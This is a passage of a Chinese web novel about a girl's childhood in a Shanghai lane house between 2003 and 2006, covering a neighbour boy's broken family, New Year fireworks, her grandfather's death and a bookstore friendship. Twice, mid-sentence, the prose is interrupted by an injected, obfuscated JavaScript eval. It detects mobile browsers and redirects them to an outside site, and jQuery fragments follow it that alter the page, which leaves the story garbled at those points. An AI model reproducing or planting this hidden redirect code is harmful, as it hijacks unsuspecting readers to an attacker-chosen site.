沈照清爸爸有点小钱，在外面一直花擦擦（花心留情）的，姘头的传言一个接一个换，但一直没被李觅抓到过切实证据。加上李觅自己娘家条件一般般，就是上海最普通的那种普通人家，在九零年代，嫁给沈照清他爸算是高嫁，不仅仅经济条件受益，工作也有点仰仗他，父母家人都劝她忍一忍，反正没证据，就当不知道算了。 日子嘛，都是这样过来的。 最后，转折还是发生在了沈照清身上。 沈照清从记事开始，就知道他爸爸和别人爸爸不一样。 以前他们住在新房子里，小区里的邻居也会议论，说他爸爸压根不喜欢他、也不想要他，是因为他妈妈未婚先孕，怕传出去丢人，才不得不结婚的。 也因为父母之间的感情问题，沈照清还是丁点儿大的时候，就一个人呆在家里。 李觅不想面对婚姻的残缺，忙着做出一番事业扬眉吐气，宁可天天加班做业务也不愿意回去。但她又怕沈照清出事，只好把家门反锁，让他一个人乖乖在家，不许他随便出门。 日复一日年复一年，到他五六岁的时候，就已经非常不愿意开口讲话，对谁都是冷冷淡淡的不够亲热，一点都不像个小孩。 直到大半年前，沈照清幼儿园大班快毕业前夕，生病一个人在家休息的时候，意外撞见了他爸带着个陌生女人回家，彻底捅破了这场貌合神离的婚姻的遮羞布。 沈照清他爸看到他走出来，当时突然恼羞成怒，拿皮带抽了他两下，把人后背都打伤了。 李觅得知此事后，终于下定决心离婚。 “……所以这些时间，家里一直乱七八糟的，唉。我也没办法。” 李觅是做业务的，之前的业绩有一部分靠沈照清他爸和他那些朋友支持，突然撕破脸，她必须得抓紧跑客户，把缺掉的业绩补上。 毕竟不是铁饭碗，这种时候她要是不小心丢了工作，坐吃山空，以后连孩子都要养不起了不说，打官司也有可能拿不到沈照清的抚养权。 “沈照清他爸不想分钱给我和儿子，我找了个律师在准备打官司，他就上门来闹来找事。他一直不喜欢沈照清，嫌他不够活泼嘴甜，不爱讲话，带出去吃饭也没法给他挣面子。我怕孩子一个人在家，万一又像上次那样被他打了……阿姐，求求侬……我实在是……” 罗英听完，脸上的表情也是沉甸甸的，有些不是滋味。 她倒不是同情心泛滥，单纯是因为喜欢孩子，平时桑悦再调皮都不会打她，气急也只是破口大骂，突然听到沈照清被他爸下狠手打，以为人母的立场，心里难免对李觅生出了些同仇敌忾的情绪。 “沈照清这么听话这么乖，我家桑悦要有他一半懂事，我真是笑也笑不动咧！他爸也真是……” 罗英越说越生气，大手一挥，扯着嗓门道，“下次他再来，你过来叫我，我帮侬骂死特伊。” 桑悦一家人都是有点爱管闲事的精神在身上的。 或者说，因为生活在弄堂里，一家一家挨得近，又都是住了几十年的老邻居，这里大部分人都有点这毛病。 市井里头的烟火气，大多从人与人的交往中产生，有时候也是说不上好与坏的。 因而，罗英脑袋一热，答应了李觅的请求。 深冬腊月，沈照清戴上小口罩、背上消毒水和李觅准备的各种进口小零食，开始天天到桑悦家“走读”。 桑悦是拖延症大王，寒假已经放了一个多礼拜，马上就要过年，薄薄的一本“寒假生活”还和崭新的一样，连翻都没翻开过。 这下，家里多了沈照清，她更没心思写寒假作业了。 俩孩子每天凑在一起，脑袋碰脑袋，研究那两个水仙花，给它换水，期待着它像葱一样拔地而起，快快长大开花。 沈照清还从外婆家看到了桑悦的相册，里面放了她从小到大拍的许多照片。 桑悦出生的时候就是个胖团子，足足九斤重，是名副其实的“九斤姑娘”。罗英痛了一天一夜，因为她太大只，怎么都生不出来，只能转去了剖腹产。 这事儿被罗英念叨了无数次，桑悦耳朵都要起老茧了，真不想再和沈照清讲一次，便生硬地转移话题：“沈照清，你小时候的照片呢？” 沈照清抬头看向她，眼神里也是凉凉的，轻声答道：“我没拍过什么照片。” 2003年，数码相机已经问世，但桑悦家依旧在使用胶片相机，是美国科达牌的，拍完一卷就去照相馆里冲出来，再换上一卷新的继续拍。 胶卷和冲片都要花钱，还有废片风险，但对两家人来说，这不算什么消费不起的东西。连罗英那样节约的人，都愿意给女儿拍点莫名其妙的照片记录成长。沈照清家条件明明更好，却说他没什么照片。 桑悦已经从罗英那儿听说了沈照清家的一些事，但还有点似懂非懂，只知道他父母都不够称职，使得罗英语气中十分义愤填膺。 她拍拍他的肩膀，孩子气地安慰道：“肯定是你爸爸妈妈工作太忙了，没空给你拍，不像我家那么多大人啦。沈照清，没关系的，下次我让我妈妈给我拍的时候，也帮你一起拍。” 说着，桑悦又想到了外公最近帮忙拿回来的相片，其中有几张是之前国庆的时候、罗英帮她和沈照清拍的合影。于是，她立马大呼小叫地喊“外公”，踮着脚在五斗橱上翻来翻去，让外公也帮她一起找照片。 有外公在，桑悦没费太多功夫，从一堆乱七八的东西里，找到了那个印着“科达照相”的相片袋。 她把一叠照片都倒出来，挑挑拣拣，选了张两人都笑得很好看的合影，爽气地递给沈照清。 “喏，这张给你了。要好好保存啊。” 沈照清愣了愣，接过来，问她：“你不要了吗？” “这里还有几张呢。而且，还有底片在，”桑悦怕沈照清不拍照不懂，很耐心地给他解释，“有底片就能随便印很多张啦。想要几张有几张。你就拿着吧。” 沈照清点头，非常郑重地将照片收进了书包里，“知道了。” …… 这么悠闲地一天接一天，转眼间，弄堂里已经有了过年喜气洋洋的气氛。家家户户都在门上贴了对联，包括后面公用的石库门，也都换了新对联。 每年差不多这个时候，桑悦外婆就会在窗台上挂上两条鳗，开窗又吹又晒的，等到年夜饭之前再拿下来，用盐腌过、再蒸着吃。 桑悦不爱吃这种硬邦邦的鱼，但她很喜欢坐在沙发上靠背上头，仰头看着挂在上面的鱼一摇一晃，好像不会发声的风铃一样。 然后，随着它一点点缩水发干，年夜饭就将要来临。 今年的大年夜是1月31号，一月最后一天，也是全年里最重要的一个节日。 上海是没有“小年”这一说的，只有小年夜，在大年夜前一天。小年夜当天，李觅的工作结束，早早就提着年货礼物到桑悦外婆家来，郑重道谢过后才将沈照清带回了自己家，要开始打扫卫生，准备过年。 桑悦观察了一下，水仙的花苞已经若隐若现，好像两三天内就会开花。 她将其中一盆给了沈照清，让他拿回家去。 李觅本想拒绝，但看沈照清紧紧抱着那盘子水仙的模样，口风一转，笑着同桑悦道谢：“谢谢悦悦。你妈妈呢？” 桑悦声音清脆，笑眯眯地回答：“加班呢。” 为了拿值班补贴，但凡是节假日，罗英都是单位里自愿留下值班的那个。只要没其他人想在大过节的留厂值班，那她就一定会顶上去。 闻言，李觅摸摸桑悦的脑袋，蹲下身和她对上视线，笑道：“妈妈这么忙啊。那你等她回来了记得问问她，如果明天晚上吃完年夜饭你没事的话，能不能到沈照清家里去。阿姨买了很多烟花给你们放呢。” “哇！！有烟花放啊！！” 桑悦惊喜不已。 2003年，上海市区还没有开始禁烟。 每逢除夕，包括外滩在内、各个区里的各个地方都会有人放烟花。 外婆家是边户，朝南那面窗台对着南京路步行街，朝西那边的窗台对着弄堂，前面没有高房子遮挡，一眼能看到很远的地方。 桑悦每年过年都会一边看大人们打麻将，一边等着远方谁家开始放烟花，蹭着看一晚上。但她自己倒是从来没放过。因为罗英觉得不安全，连打火机都是不许她碰的，更别说烟花这种东西了。 桑悦：“我妈妈应该不会答应。她怕我被炸伤。” 李觅还是笑，语气温温柔柔的，继续提议：“没有那种大的烟花，弄堂里不方便放，都是些小的，还有很多仙女棒。你问问你妈妈，如果她答应的话，你把哥哥姐姐一起带过来玩吧。” “好！” …… 桑悦家的年夜饭是有固定菜色的。 比如春卷必须要有，家里有孩子在，会在正式开饭前先炸出来，两种口味，春笋白菜肉丝馅的咸春卷和豆沙馅的甜春卷，会准备上满满三大盘。 冷菜是白斩鸡鸭胗熏鱼烤麸腰果这类，热菜就是例如豌豆炒虾仁、茄汁鱼、狮子头、油面筋塞肉、水笋烧肉、蛋饺粉丝汤等等。 其中大部分菜色由田书秀掌勺，罗莉和罗芬也会帮忙烧几个菜，等罗英值完班回家，再洗手搞点炒菜。 家里人多，也没那么多讲究，一般都让小辈们先吃。小孩子胃口小，又不喝酒，让他们吃饱了就下桌自己去打牌聊天看电视。 今年，因为沈照清的到来，桑悦又有了新的盼头。 等看完春晚里赵本山的节目，也得到了罗英允许后，她拉上周骏才和贺云皎，带着外公，一起穿过弄堂去找沈照清。 今天吃年夜饭，沈照清的外公外婆也在他们家里。 不过，一见到桑悦，沈照清立马从屋子里跑出来，招呼他们：“外公，姐姐，胖哥哥，你们来了。我妈妈把烟花都准备好了。” 李觅这次买了一车烟花，仙女棒就搞了五六盒，还有那种火树银花，也有五六盒，但基本都是小型的。 几人一起把烟花从石库门里搬出去，搬到了弄堂后面的垃圾桶附近，那里有一块空地。这会儿旁边已经有人在放了，但位置也还够。 周骏才生得胖，力气也大，轻轻松松就摆好了烟花箱。 外公拿着家里点煤气用的打火机，帮几个小孩把火树银花先放起来。 天色很黑，这一片的路灯也不甚明亮，只有火树银花的银光在稀里哗啦地跳动着，将外公单薄的身影衬得又瘦又长。 桑悦还拿着贺云皎给的仙女棒挥来挥去，余光注意到外公正微微佝偻着腰，一直没有挪动脚步。 她连忙把没烧完的仙女棒塞给沈照清，“哒哒哒”绕开烟花箱跑过去，大声喊了一句“外公”，问：“你身体不舒服吗？” 外公和蔼地笑笑，说：“没有，你快去玩吧，外公马上给你们放好。” 桑悦信以为真，立马用力点头，开口道：“好！外公也快点过来和我们一起！” “好，知道了。” 几个人一直玩到新年倒计时，才把那些烟花放完。 桑悦他们得回家了，家里应该已经搓了几轮麻将，再过一会儿，外婆她们要去庙里拜佛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15178062|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，肯定得让孩子们先去阁楼睡觉。 各回各家前，李觅从石库门那个方向跑过来，给贺云皎周骏才和桑悦一人塞了个红包。 贺云皎是他们中年纪最大的，已经工作一年了，哪好意思收李觅的红包，连忙就要还给她。 李觅不许她推回来，笑着说：“这是压岁钱，没结婚的孩子都有的。沈照清在你们家里打扰了这么久，给大家添麻烦了，一定要收下的。” 说完，她朝他们挥挥手，牵着沈照清离开。 桑悦拆开自己那份看了看。 里面是两张崭新的百元大钞。 在她家，外婆和阿姨们往年也就一人给两百，沈照清妈妈实在大方。 至于人情不人情的，那就是大人的事了。反正罗英知道了，肯定会想办法还回去的。 桑悦家的传统就是有来有往，几块钱的账都要算清楚的，谁也不欠谁，对自家人和外人都一样。 …… - 桑悦是小月生的孩子，生日是2月17号，每年都在农历新年附近。 今年翻过年，再大半个月，差不多寒假结束的时候，就是她的8岁生日。 上海人过公历的虚岁生日，比周岁要大一岁。 8岁，听起来已经像个小大人了。 只是，没等她补完“寒假生活”等待生日和新学期到来，还尚在新年里头，喜气未消，外公又一次进了医院。 哪怕是比2002年大了一岁，8岁的小大人桑悦，还不能理解什么叫“癌症复发”、“癌细胞扩散”。她只知道，外公在她出生前动过手术，身体一直不是特别好，瘦瘦的，平时吃得也不多。 因为这个突发情况，家里的气氛悄悄蒙上了一层阴翦。 外公就住在上海第一人民医院，距离河南路大约两站路远，十分钟车程，来去还算方便，田书秀就和四个女儿轮番去医院陪床。 桑悦也想去看外公，但罗英不让。 “你就乖乖在家写作业，有什么不会的去问沈照清。医院有病菌，到时候别传染了。” 非典还没过去，甚至外地还有新一波高峰，到处人心惶惶，大人们出入医院也是小心翼翼的，回家就换衣服洗手消毒，自然不许任何孩子过去添乱。就连贺云皎也不能去。 桑悦说：“我的成绩比沈照清好！上学期期末考我是我们班第三名，他才是他们班第四名呢！” 罗英脸上有疲色，闻言却还是笑了一下，摸了摸她的头发，表扬道：“那悦悦很厉害啊，下次再争取考第一。外公也会高兴的。” …… 2月16号是周日，罗英没去医院，领着桑悦去克里斯丁面包店买了个小的水果蛋糕，上面有桑悦喜欢吃的黄桃。 生日是只能提前不能延后过的，明天周一，家里大人都要上班，周骏才也已经开学回了自己家，罗英就打算今天给桑悦简单过个生日唱个歌。 桑悦倒是懂事，拎着蛋糕摇头，拒绝说：“算了，外公还在住院，我们都不快乐，还是别唱生日歌了。” 罗英问她：“那你想怎么过？” 桑悦：“就点蜡烛许个愿吧，我想许愿外公快点好起来。” 周末家里人多，你一言我一嘴的出主意，还是硬给桑悦唱了生日歌。 蛋糕就6寸大小，桑悦吹完蜡烛，从袋子里拿了刀和纸盘，让罗英先切一半下来，再分出一半的一半，分别装到乐扣乐扣的保鲜盒里。 她解释说：“这边半块妈妈你帮我给外公带过去，这边的明天我想拿到学校给朋友们尝一下。” 剩下的一半蛋糕就现在分。 家里人都吃过晚饭了，也没人真的饿，一人切一小块意思意思是完全够分的。 罗英手抖了一下，叹口气，难得没有说什么，只是如她要求那样分装了蛋糕。 桑悦将保鲜盒塞进冰箱里，关门时，突然想到冰箱门上还藏了一把塑料刀，是上次沈照清过生日的时候拿来的。 他知道她为月饼刀大哭一场，特地问蛋糕店多要了一把给她，“藏好。” 桑悦怕外婆整理小菜架子的时候又顺手当垃圾清了，干脆藏在冰箱里，用一堆果酱辣酱油之类的瓶瓶罐罐挡住。 这次桑悦的生日蛋糕也给配了塑料刀，但刚刚切的时候已经用脏了。 她把那把干净的翻出来，放到了书包里。 …… 三月，妇女节当天晚上，外公在医院去世。 家里所有大人都在下午赶去了医院，桑悦他们几个小的都在家里等消息。贺云皎被指派过来带着弟弟妹妹，也没准她去。 各自坐立难安了一下午，天色完全黑下来的时候，家中电话响了起来。 贺云皎听完，哭着告诉他们，外公走了。 外婆家唯一一个喜欢吃大饼油条的人永远离开了。 桑悦这个年纪，对生死已经有了模模糊糊的概念，不是什么“去星星上”了、也不是什么“去很远很远的地方”。 死了，就是死掉了，再也不会回来的意思。 孱弱高瘦的外公，沉默寡言的外公，在家里的女人堆里几乎没有存在感的外公，好脾气地带他们买酷儿、陪他们放烟花、带他们遛弯、夏天给他们批棒冰的外公……从此之后，从世界上完全消失，只变成一摊灰。 想到这一切，小桑悦也忍不住撕心裂肺地大哭起来，直到哭得精疲力竭才抽抽噎噎地停下。 到深夜，家里的大人们都哭着从医院回来。 后面还有很多后事要忙，要联系火葬场、布置灵堂、守夜，还要准备贡品、叠锡箔等等。 外公的墓是早先就买好的，他是宁波人，新中国刚成立没多久就来了上海，但他的父母长辈都埋在宁波，所以也要把他送回宁波去安葬，落叶归根。 桑悦家没人会开车，还要去排队买到宁波的火车票。 北京路小学对面就有售票点，罗枚下班会路过那边，就由她去买票，再顺路接桑悦和沈照清放学。 路上，两人听罗枚抱怨了周六罗英大闹医院的事情。 桑悦外公年轻时候身体健壮，是因为得了癌症才变得孱弱，但生命力却始终顽强，医生确认脑死亡之后，心跳迟迟不停。 医院那边想替他拔掉呼吸机，罗英当场发飙，将那几个医生骂了出去：“不许拔！他明明还活着，心跳还扑通扑通的，为什么要拔呼吸机？！万一还能醒来呢！” 那个小医生说：“他已经脑死亡了，其实挂着也是浪费钱。” 罗英：“我们家不差钱！白天就是，你们说没用了不给他打强心针，还是我说要打才打。现在我爸心脏还在跳，他还想活，多少钱都别管，你们有什么办法抢救都试试就行了！他自己有医保，不够的话，钱我也会出的！” 但就算这样，最后还是没有救回来。 外公的心跳一点点停了。 …… 外公的追悼会在龙华殡仪馆办。 2003年的龙华还是烧的，不用运到郊区火葬，追悼会结束就当场烧了装进骨灰盒，交给家属。 七天守灵的最后一天，桑悦家所有人全部到齐，连最小那个阿姨罗敏也带着她女儿从国外回来了。罗敏接到电话的时候已经在收拾东西回国，只是到底天南海北，再快的航班也要十多个小时，终究是没赶上最后一面。 除了家人，外公的老同事、还有弄堂里关系亲近的邻居也都来参加了追悼会。 9号李觅就带着沈照清来家里吊唁过，还送来了花圈和帛金。当天更是一早就过来，看桑悦家里人人手忙脚乱的，就顺手帮他们搬搬东西，领着几个小孩，包括罗敏五岁的混血小女儿也是她看着，免得混乱中被人抱走。 临出发前，桑悦爬上阁楼，坐在小床上，看到罗英肿着眼睛，换上了黑色戗驳领西装，还戴了条真丝小丝巾，一丝不苟地整理好，衣冠齐整地送外公最后一程。 这年头，国内物价还未开始飞涨。 但罗英这身西装是订做的，选的最好的面料，丝巾是她出差去杭州的时候带回来的，从当时的收入水平来说，价格都不便宜，算得上一个贵字。 桑悦从来没有见过罗英给她自己买这么贵的衣服。外婆家里有缝纫机，罗英自己就会裁衣服做裙子，夏天的花色棉布裙都是她自己得出来的（踩缝纫机踩出来的）。 据说，罗英那些拿得出手的衣服皮鞋，几乎都是在桑悦出生前买的。等她呱呱坠地后，妈妈好像就渐渐不再为自己花钱了，变得越来越节约越来越省。 桑悦有时候非常羡慕沈照清，因为他家很好，有空调、有电脑，想买点什么东西，李觅也从来不会把钱挂在嘴上。 但她还是觉得自己的妈妈最好。 桑悦跟上了罗英的脚步。 罗英是二女儿，不用捧遗像，只有一只手里提了些零零碎碎的东西。桑悦把自己的小手塞到了罗英空着的那只手掌心里，又安慰一般地捏了捏她的手指。 等罗英低头看她的时候，桑悦才小声说道：“妈妈别难过，我会一直陪着你的。” 11.11 桑悦日记：「外婆家马上要动迁了，弄堂里的大家都很高兴，只有我一点都不想搬走。这里虽然又旧又小，洗澡不方便，上厕所不方便，睡觉都要挤在一起，但每个角落都有特别的回忆，好像哪里都能玩上半天、介绍半天，讲也讲不完。这可能就是书本上描述的，所谓贫瘠却生动的童年。 我不是舍不得搬走，我是还不想长大。」 - 桑悦外公去世后，罗敏带着她女儿住进了外婆家。她的外国丈夫还在国外，公司一直传要外派他到上海来，加上女儿已经五岁，考虑到以后想回国念书的问题，也要提前了解一下情况，应当暂时不会回去。 家里少了个人，又多了两个人。 桑悦不再和外婆一起睡，而是跟着罗英一起从阁楼搬到了楼下，睡沙发床，阁楼的大床让给了罗敏和她女儿。 罗敏女儿是外籍，有中文名，但她在国外的环境下长大，还没有习惯别人叫她的中文名字，家里人就跟着一起喊她的音译昵称“萨萨”。 萨萨是混血儿，罗敏本来就是家中最漂亮的一个女儿，老公也是长相英俊的老外，萨萨遗传到了父母的优点，皮肤雪白，小脸尖下巴，眼睛又圆又大，头发卷卷的，可爱得真正的像个洋娃娃，没人见了不喜欢，出门连商店里的营业员都忍不住要去抱她逗她。 桑悦原本是外婆家最小的孩子，在长辈和哥哥姐姐中都备受宠爱，现在萨萨来了，她的地位陡然下滑一截。说不清是什么滋味，不是嫉妒，更多的好像是羡慕和怅然，还有一丝丝因为外在条件而产生的落差感。 要是自己长得也有萨萨那么可爱就好了。 不过，对于桑悦家出现的新成员，沈照清倒是反应平平。 周末的下午，罗敏和罗英出门逛街，桑悦坐在床上逗萨萨，沈照清会跑来外婆家找她。 他不经常走进来，每次都敲过门，然后站在门外等她。 桑悦抬起头，立马就笑起来，喊他：“沈照清，你要不要过来和我妹聊几句？” 萨萨的爸爸不是以英语为母语国家的人，但她爸和她妈交流是用英语的。 九几年的时候，罗敏在南京路步行街上的海伦宾馆里上班，遇到了来上海出差的萨萨爸爸。 当时能住酒店的大多是外宾，非富即贵，罗敏长得漂亮出众，个子又高，1米74，据说还被香港来的导演看中过，要带她去参选香港小姐拍电影当明星之类的。 在这种情况下，她拒绝了很多明里暗里的追求，挑中了萨萨爸爸这个异国人成为自己的丈夫，并且远嫁到坐飞机都要十几个小时的地方去，绝对是顶着巨大的压力，也免不了受到父母的反对。 至今，田书秀说起这件事，依旧是怨怼的态度。 但她还是接纳了罗敏和萨萨，让她们住进了弄堂里的小房子，一日三餐地照顾着。 萨萨年仅五岁，爱哭爱笑，但罗敏的教育方式比较严格，所以性格肯定算不上伶俐。但她会讲三种语言，母语、英语、普通话，甚至还能说一口标准的上海话，语言系统完全不紊乱，在这个年代的孩子中属实稀罕。 桑悦在班上成绩很好，唯独英语是弱项。 她聪明又活泼，在学习上却不够努力，还有得过且过，看到背单词这种需要费功夫的事就觉得头疼不已，经常能避则避。 但沈照清不然，他在搬进弄堂前，念的是双语幼儿园，很小就有会话基础，词汇量大，口语也好听。 他们1班和4班用的是一套教师班子，英语老师经常把他拉到1班来念课文。 桑悦承认，她在英语这上面输给沈照清，是有点想要让妹妹来帮自己找回场子的意思。 当然，沈照清对萨萨的存在一直没什么反应，也不会像其他人一样客套地逗逗漂亮小孩，基本当做没有这个人存在，她的心情难免有点复杂，有高兴，也有对他没有眼光的鄙视。 小女孩无法自主的纠结内心，莫名其妙地交织。 她还不能明白自己产生这种不够阳光的想法的原因，只是循着本能，想要在旁人身上一次又一次地验证。 你是只和我关系好吗？ 无论我是不是最漂亮最可爱最聪明的，无论是什么样的人突然出现在我们的生活中，友情都不会发生改变吗？ 桑悦直勾勾地看着沈照清，盯着他的表情丝毫不错眼。 这回，沈照清依旧对她的提议没有任何兴趣，只是瞥了在大花床单上打滚的萨萨一眼，目光就径直转向了桑悦。 四目相对中，他轻声开口问她：“现在去我家写作业吗？” 只一句话，顿时，桑悦的注意力轻而易举就被转移开。 她抬头看了一眼墙上的挂钟，突然意识到炫动卡通频道的《数码宝贝》快要开始了，留给他们写作业的时间已经不多了。 今天是阿和太一他们返回现实世界的剧情，绝对不能错过。 桑悦立马连滚带爬地跳下床，从旁边拎起书包，大喊一声：“外婆，我去沈照清家里了！吃晚饭的时候再回来！” 说完，也不等回答，就拉着沈照清风一样跑出了走廊，冲下楼去。 …… - 随着时间流逝，上海正在高速发展，日新月异。 而弄堂里的生活却是日复一日，没有什么新意，但也有种色色一一（舒舒服服）的悠闲感觉。 在这样的四季轮转中，孩子们好像一眨眼就长大了。 弄堂对面那个索尼爱立信广告牌，不知道什么时候已经被拆掉，桑悦不再对亨得利的报时鸟念念不忘，夏天除了到沈照清家蹭空调看电视，随着她识字量变大，又有了新的去处。 她开始每天往上海书城跑。 格林童话都是小朋友看的东西，已经不再具有吸引力。桑悦在看完罗敏买回家的《世界十大未解之谜》和《中华上下五千年》后，目前的新宠是《冒险小虎队》系列，讲三个好朋友一起经历冒险、解决各种稀奇古怪案件的故事。 这套书在当时非常新颖，因为它具有互动性，每本都配备了一张解密卡，每个章节后面都会有让读者小朋友一起来猜线索的问题，答案用了特殊工艺涂灰，必须要用解密卡才能照出来。 罗英的书城卡已经用完，他们公司最近也开始改发“好德卡”，用以在好德便利店消费。没了书卡，罗英必然不会让桑悦买这种闲书。没有书，书店不会给卡。 因此，桑悦只能坐在书城二楼的角落里，对着书里那些插图一毫米一毫米地观察，抓耳挠腮地试图寻找到线索。 沈照清找到她的时候，桑悦正在用最后的手段，把书页对着光转来转去地寻找角度，试图看透里面藏着的答案。 “桑悦。” 沈照清喊了声她的名字。 桑悦眼神都没给他半个，只是说：“……哦你来了。等等我马上就能看到了！有什么事等会儿再说！” 沈照清声音平平，听不出情绪，“别照了。喏。” 他把手上的解密卡递到她眼前。 桑悦一愣，仰起头，“你哪里来的？该不会是偷拿出来的吧？！” 她之前在收银台旁边看到过别人买书，店员收了钱，会从侧边第一个抽屉里拿卡给他们。 “……”沈照清对她的想法表示无言以对，“我买了一本。” 只要买一本，拿到一张解密卡，《小虎队》全系列的所有书都能用。 他看桑悦每天这样实在费劲，就从零花钱里拿了20块出来，给她买了一本。 从2003年至今，两人的年龄一点点增加，从小学一年级学生到如今，绿领巾换成了红领巾，还加入了光荣的少先队。 转眼，他们开学就是五年级毕业班。 零用钱自然也得水涨船高。 当然，只有沈照清是水涨船高，桑悦则是从无到有。 因为两人不再需要大人来回接送，桑悦跟罗英闹了半天，说大家都有钱用，罗英就在给她“好德卡”买饮料的基础上，再给她一月50块钱零花。 没办法，从北小到他们住的弄堂，距离实在太近，能花钱的地方寥寥。外婆不许她放学在外面瞎逛，罗英也怕钱给多了她乱花，坚持之下，桑悦想着有总比没强，只能妥协。 但，50块未免也太不够看了些。 毕竟现在已经是2006年，外婆家的VCD机已经更新迭代成了DVD，绿色心情雪糕从八毛涨价到一块一根，沈照清连手机都已经有了，她却还是从前那个手头不宽裕的小孩，只有大一码的衣服鞋变成了大半码而已。 看到沈照清这么爽快地就用20块买了本书，桑悦羡慕地嘟了嘟嘴，但很快又转为高兴，接过解密卡，对着书页摆弄起来，“谢啦！” 沈照清没说话，在她身边坐下，跟着一起窝在角落的地板上，一点也不嫌弃地上脏。 等桑悦把这本《冒险小虎队·火眼》看完，已经是下午四点多了。 她意犹未尽地站起身，将解密卡收起来，书放回书架上，拍了拍裤子，朝着沈照清一招手。 “沈照清，我们走吧！” 沈照清慢吞吞地从地上站起来，但没有迈步跟上桑悦，只是目光炯炯地看着她。 桑悦不解：“怎么了？” 沈照清：“桑悦，你以后一直都可以用解密卡过来看。” 桑悦点点头，笑得十分灿烂，“对啊！还得谢谢你呢！我争取这两周就把全系列都看完。” 她看书速度很快，像《冒险小虎队》这种面向少儿的童书，本来单本就不厚，差不多坐一下午就看完一整本。 闻言，沈照清黑漆漆的眼睛闪动两下，秀气俊俏的脸上露出一丝微妙尴尬的表情，“……不是这个意思。” 桑悦：“哎呀，你到底想说什么，别以阳剐得的（扭捏不爽气），直接讲嘛！” 沈照清“哦”了一声，开口：“上学期你们班女生是不是也在编手链？你为什么给了方圆给了宋书豪，就是没送我？我们不是关系最好吗？” 今年春末那一阵，不知道从哪里流行起了编手链的风气，学校对面的小卖部卖起了玻璃丝，各种颜色各种亮晶晶的款式，五块一把，用几条绕在一起，用拧麻花的方法编，就能编出漂亮的玻璃丝手链。 桑悦动手能力不是特别强，耐心也不够，前两年学校的兴趣班教绣十字绣，绣了半个手掌大的娃娃脸钥匙扣，送给了罗英，之后就再没拿起过十字绣针。 但她怕和同学朋友没有共同话题，还是第一时间加入了编手链的队伍中，用自己不太充裕的零花钱买了两把玻璃丝，搭配起来用。 这个弄起来比十字绣简单，抽着每天的下课时间搞搞，三四天就能编出一条。 桑悦先试着给自己编了一条，觉得还算能看，又给方圆和宋书豪一人一条，让他们务必要戴上一周，不能浪费自己的努力。 也不知道这事儿沈照清是怎么知道的。明明压根不在一个班。 桑悦确实是想过要给沈照清也来一条，但她对自己的技术实在没什么信心，总想着先练练手之后再给他搭配。 偏偏，三条弄完，她对这件事彻底失去了兴趣，加上期末考临近，计划就连同没用完的玻璃丝一起搁置了下来。 时间已经过去两个多月了，再提起这件事，面对沈照清的质问，桑悦还是有点心虚的。她抓了抓脸，小声嘟囔：“我是觉得做得不好看呀，送给你有点不好意思。” 话音刚落，沈照清脸色一缓，追问道：“为什么不好意思？” 桑悦：“你看，你一个男孩子手那么巧，之前不是还给我编过小辫子嘛。我手笨，怕你嫌弃咯。” 桑悦的头发渐渐养长了，虽然为了洗头方便，长度仍旧保持在肩膀以下一点点的位置，但至少已经不是小时候那种苹果头，还可以扎小辫了。 平常早上去上学，外婆就给她后面头发一把抓起来，扎个马尾，套上从城隍庙旁边的批发市场批来的各色发绳，搞不出什么花样。罗英倒是会梳各种样式的小辫，麻花辫鱼骨辫都能梳，还能给她扎满头小辫，像新疆人那样，特别活泼可爱的造型。但她要赶班车，出门时间太早，没法给桑悦弄。 桑悦自己也只能扎个单辫，她一个小孩子，手上力气不够，有时候抓不稳，头绳少绕一圈，就会渐渐地滑开来。 有次两人去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15180663|165164||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上学，桑悦自己搞的头发，没弄好，马尾走到半途就散了。 学校是不允许女生披头发进去的，沈照清从地上把掉落的头绳捡起来，让桑悦坐到路边的花坛上，手指翻动，很灵巧地给她梳了个斜边高马尾。 当天，桑悦的发型受到了班上同学的好评，说这个特别像“超女”里某个选手的发型，很时髦的。 桑悦不想在“第一次给女生梳辫子就大获成功”的小伙伴面前献丑，想了想，试探性地提议：“……我家还有没用完的玻璃丝，你要不自己编一个？” 沈照清：“不要。” 他朝着桑悦摊开手掌，“你不讲义气。解密卡还我。” 桑悦不肯，故作深沉地叹了口气，说：“好嘛好嘛，开学给你做一个。就当感谢解密卡的回礼了，行吗？” 沈照清：“今天就开始做。” 桑悦：“不行啊，我妈不知道我买了那个玻璃丝，要被她看到，肯定会骂死我的。” 在罗英看来，这是完全没用的垃圾，买来就是浪费时间浪费钱。 沈照清：“你带到我家来编。” 桑悦再次叹气，妥协道：“行，那明天开始，今天晚上我要跟我妈去坐轮渡玩。” …… 距离弄堂最近的轮渡码头在金陵路。 1990年的时候，上海浦东新区开始开发。 在这之前，浦东就是一个巨大的农村，十分荒凉。 在上海人口中，有一句老话，叫“宁要浦西一张床，不要浦东一套房”，就是这样的历史原因。 黄浦江划出了一道天堑，将上海分隔成两片，一片落后贫穷，一片摩登洋派。 国家宣布开发浦东之后，一大批人到浦东去上班，那时候，跨江轮渡就是他们的交通工具，每天挤去浦东上班，下班再搭船挤回浦西的家里休息。 现在是2006年，浦东已经大变模样，东方明珠和金茂大厦成了上海的新地标，环球金融中心快要竣工，一切都焕然一新。 但跨江轮渡却一直保留着，哪怕连接浦东浦西的隧道高架地铁接连修成，也一直没有取消。 在桑悦很小的时候，罗英就带她去坐过轮渡。 